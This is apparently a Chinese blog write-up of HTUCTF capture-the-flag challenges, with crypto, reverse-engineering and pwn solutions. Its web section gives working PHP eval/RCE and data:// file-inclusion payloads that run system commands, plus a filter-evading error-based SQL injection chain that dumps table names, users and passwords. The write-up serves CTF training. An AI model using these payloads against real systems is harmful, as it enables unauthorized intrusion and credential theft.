HTUCTF 部分Crypto web reverse pwn题解

文章讲述了密码学中的凯撒密码、兔子密码和三层栅栏密码解密,以及RSA加密的实践应用。同时介绍了webdebugme平台上的RCE漏洞利用,PHPeval函数,SQL注入技巧,以及一道涉及栈溢出的完形填空题目。
摘要由CSDN通过智能技术生成

cryto

密码_签到

在这里插入图片描述
凯撒密码加密,偏移量2
在这里插入图片描述

guoql的大冒险

两个文件,一个flag,一个嘤嘤嘤
在这里插入图片描述
嘤嘤嘤:
在这里插入图片描述
flag:
在这里插入图片描述
根据嘤嘤嘤提示,其中涉及到兔子密码解密,还有三层栅栏密码解密
我们栅栏密码先解密,网址:链接: https://ctf.bugku.com/tool/railfence
在这里插入图片描述
得到的标准型和w型都进行解密试一下
我们进行兔子解密,网址链接: https://www.sojson.com/encrypt_rabbit.html
但是兔子解密需要密码,我们再回去看一下密钥是什么
嘤嘤嘤文件出现的guoql最像密钥,用它解密,标准型不行,w型可以
但是浏览器报错,询问大佬才知道是双感叹号
在这里插入图片描述
HTUCTF{WELCOME_TO_2024_HTUCTF!!!}

RSA

在这里插入图片描述
下载一个rsa文件,给了n,c
还有一串代码

from secret import flag
from Crypto.Util.number import *
from gmpy2 import *

def s2n(string):
return int(string.encode("utf-8").hex(),16)


m = s2n(flag)

def gen():
p = getPrime(1024)
q = int(next_prime(p))
n = p*q
phi = (p-1)*(q-1)
e=0x10001
while(gcd(phi,e) != 1):
p = getPrime(1024)
q = next_prime(p)
n = p*q
phi = (p-1)*(q-1)
return (n,e,phi)


n,e,phi = gen()
c = pow(m,e,n)

with open("./RSA.txt","w") as file:
file.write(f"{n=}\n{c=}")
file.close()

n 已经给出,但我们没有 p、q 或 phi 的值。然而,由于 e 是与 phi 互质的,我们可以尝试从 n 分解出 p 和 q,然后计算 phi,最后找到一个与 phi 互质的 e。

由于 e 被设置为 0x10001(即 65537),所以e就是65537
给了e,n,c直接脚本附上

from Crypto.Util.number import *
from gmpy2 import *
e = 65537
n=13537955325943141870650656463377877226000856713880378052819971295601583120572999181135327252560173628504441650209600956588888654692730258021468203731633564456320702182716201559529305801321208768592447431768755006697576175605633550691134435984810143553534063785889476981537378683655773060114131666866705292303527414004067093501240523672966063857328550862056561147295981393518223945130917551303291903172739086430349941157878531387432240469557432940754926560852088636315088334226575861621029427206269605364251739523806783530643621155738548099121966512764230022472692074575597298634955512919441477050124014781122452569251
c=9116573555150167735475213863527576755487000232681926241292159933719472942329797183603952489829008333003878789264963887213309453442494821268537665993894594384619630467825049506141329290715543283047059681424461149462166799882454956163322095978758268309450855683534694033199534205229312491639727065486895811367057859656104559179542990817294573961502500538288828650402491896878916684580391047416487260129400456300791679225571935467839976336761425233153688732639934355399905350498020952506618500235543905542073406258996924947175272226257099009623627146998630069111140252994134093968201915119611802455537412960883988852108
sn = gmpy2.isqrt(n)
q = gmpy2.next_prime(sn)
p = n // q
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

HTUCTF{b3086dbe-c26b-4c8d-9148-8aa23cf2c760}

web

debugme_签到

在这里插入图片描述
查看源代码得到
在这里插入图片描述

easy_rce

在这里插入图片描述
在这里插入图片描述
get传两个数,其md5值要相等,其本身不能相同
s878926199a 和 s155964671a,成功绕过
在这里插入图片描述
在这里插入图片描述
我们再传cmd来执行eval函数
读取到flag文件,得到flag
在这里插入图片描述

在这里插入图片描述

evalPHP

在这里插入图片描述
提示说这题是文件包含
在这里插入图片描述
传参fille内容要是htuctf
再传post执行函数
我们这里用php伪协议进行读取:
伪协议是php中支持与封装的协议总和,包含很多类型,常见的有:

  1. file:// — 访问本地文件系统
  2. http:// — 访问 HTTP(s) 网址
  3. ftp:// — 访问 FTP(s) URLs
  4. php:// — 访问各个输入/输出流(I/O streams)
  5. zlib:// — 压缩流
  6. data:// — 数据(RFC 2397)
  7. glob:// — 查找匹配的文件路径模式
  8. phar:// — PHP 归档
  9. ssh2:// — Secure Shell 2
  10. rar:// — RAR
  11. ogg:// — 音频流
  12. expect:// — 处理交互式的流

我们先用?file=php://filter/convert.base64-encode/resource=HTUCTF,行不通
读取有问题,可能被过滤了,我们使用data伪协议进行读取

?file=data://text/plain;base64,SFRVQ1RG

传post,这里用tac,cat不行

cmd=system("tac flag.php");?>

在这里插入图片描述
得到flag

easy_SQL

有一个登录页面
在这里插入图片描述
题目说是简单的sql注入,我们爆破一下,默认账号是admin,进行弱密码爆破
在这里插入图片描述
得到密码是admin,登录显示成功,但是什么也没有出现
在这里插入图片描述
抓包sql注入看回显,使用报错注入,构造payload,查库–users

username=1'/**/aandnd/**/updatexml(1,concat(0x7e,(database()),0x7e),1);#&password=admin

在这里插入图片描述
查表-users

username=1'/**/aandnd/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()),0x7e),3);#&password=admin

在这里插入图片描述
查字段,爆出了两个字段

username=1'/**/aandnd/**/updatexml(1,concat(0x7e,(selselectect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_schema=database()/**/aandnd/**/table_name='users'),0x7e),3);#&password=admin

在这里插入图片描述
查看user里面有什么,有三个用户

1'/**/aandnd/**/updatexml(1,concat(0x7e,mid((seselectlect/**/group_concat(user)/**/from/**/users),1,31),0x7e),1);#&password=admin

在这里插入图片描述

查password字段信息,得到半边flag

username=1'/**/aandnd/**/updatexml(1,concat(0x7e,mid((seselectlect/**/group_concat(passwoorrd)/**/from/**/users),67,96),0x7e),1);#&password=admin

在这里插入图片描述
查找下半边flag,将查询数据往后移几位,因为MID() 函数用于从文本字段中提取字符,所以在92位之前都是可以的

username=1'/**/aandnd/**/updatexml(1,concat(0x7e,mid((seselectlect/**/group_concat(passwoorrd)/**/from/**/users),88,96),0x7e),1);#&password=admin

在这里插入图片描述
拼接一下得到完整的flag
HTUCTF{5c63ca70-e684-499e-9cb3-149a2b948c6d}

revese

ez_xor

在这里插入图片描述
附上异或脚本:

v8 = [28,6,12,20,69,18,19]
v9 = [11,1,31,47,9,81,11,73,15]
s = "tryw1th"
v11 = "s1mplex0r"

# 将 key 转换为整数列表
s_int = [ord(char) for char in s]
v11_int = [ord(char) for char in v11]

# 执行按位异或操作,并将结果转换为字符
flag1 = ""
for i in range(len(s)):
    flag = v8[i] ^ s_int[i]

    flag1 += chr(flag)

print(flag1)

# 执行按位异或操作,并将结果转换为字符
flag2 = ""
for i in range(len(v11)):
    flag = v9[i] ^ v11_int[i]

    flag2 += chr(flag)

print(flag2)

倒车工程

在这里插入图片描述

# -*- coding: utf-8 -*-
"""
倒车技术,我们是专业的! --2024.4.25 EMT倒车公司开发
"""

import time

# 倒车安全性校验
def compare_password(input_password):
    numbers = [0x48,0x54,0x55,0x43,0x54,0x46,0x7b,0x57,0x65,0x31,0x63,0x30,0x6d,0x65,0x5f,0x74,0x30,0x5f,0x72,0x33,0x76,0x65,0x72,0x73,0x65,0x5f,0x65,0x6e,0x67,0x31,0x6e,0x65,0x65,0x72,0x31,0x6e,0x67,0x7d]

    hex_password = [ord(char) for char in input_password]

    if hex_password == numbers:
        return True
    else:
        return False

# 倒车主系统
def main():
    password = input("请输入倒车密码:")
    if compare_password(password):
        print("密码正确!欢迎使用倒车系统。")
        print("自动倒车中......")
        time.sleep(5)
        print("倒车完成!请不要忘记你的密码:{},欢迎下次使用".format(password))
    else:
        print("密码错误!请重试。")

if __name__ == "__main__":
    main()

这段函数:当我们输入一个密码字符串时,函数会将其转换为ASCII码值的列表,并与预定义的numbers列表进行比较。如果两个列表相同,函数返回True,表示密码正确;否则返回False,表示密码错误。
言外之意:就是解这段16进制的ascii码

numbers = [0x48, 0x54, 0x55, 0x43, 0x54, 0x46, 0x7b, 0x57, 0x65, 0x31, 0x63, 0x30, 0x6d, 0x65, 0x5f, 0x74, 0x30, 0x5f, 0x72, 0x33, 0x76, 0x65, 0x72, 0x73, 0x65, 0x5f, 0x65, 0x6e, 0x67, 0x31, 0x6e, 0x65, 0x65, 0x72, 0x31, 0x6e, 0x67, 0x7d]

flag = ''.join(chr(num) for num in numbers)

print(flag)
# HTUCTF{We1c0me_t0_r3verse_eng1neer1ng}

猜数字_签到

在这里插入图片描述
二分法,多试几次,每次取一半
在这里插入图片描述

pwn

ez_nc_签到

在这里插入图片描述
nc指令连一下就行了
在这里插入图片描述

环境?环境!

在这里插入图片描述
根据题目意思,应该是检查我们的pwn环境,不会配置的看这里 https://blog.csdn.net/m0_56161093/article/details/122914917

在这里插入图片描述
都提示我们了,补全运行就行
python3 exp.py
在这里插入图片描述

完形填空

在这里插入图片描述
在这里插入图片描述
这题比上一题多一个空,让我们求栈溢出
hint:
这是一道栈溢出题目 你的任务也很简单 只需要看出溢出量并完成完形填空即可(不明白可以搜搜看)
在这里插入图片描述
只看红框,我们分析一下红框的内容
buf数组的大小是32字节,但read函数调用试图从标准输入(文件描述符0)读取0x64(即100)字节的数据到buf中。但是buf只能容纳32字节的数据,
查看buf内容,注释中提到的“Saved regs: 8”表示保存了8字节的寄存器值
需要将这一部分加上去,32+8=40
在这里插入图片描述

登录到root系统,最后可以cat flag了
在这里插入图片描述
在这里插入图片描述

  • 31
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值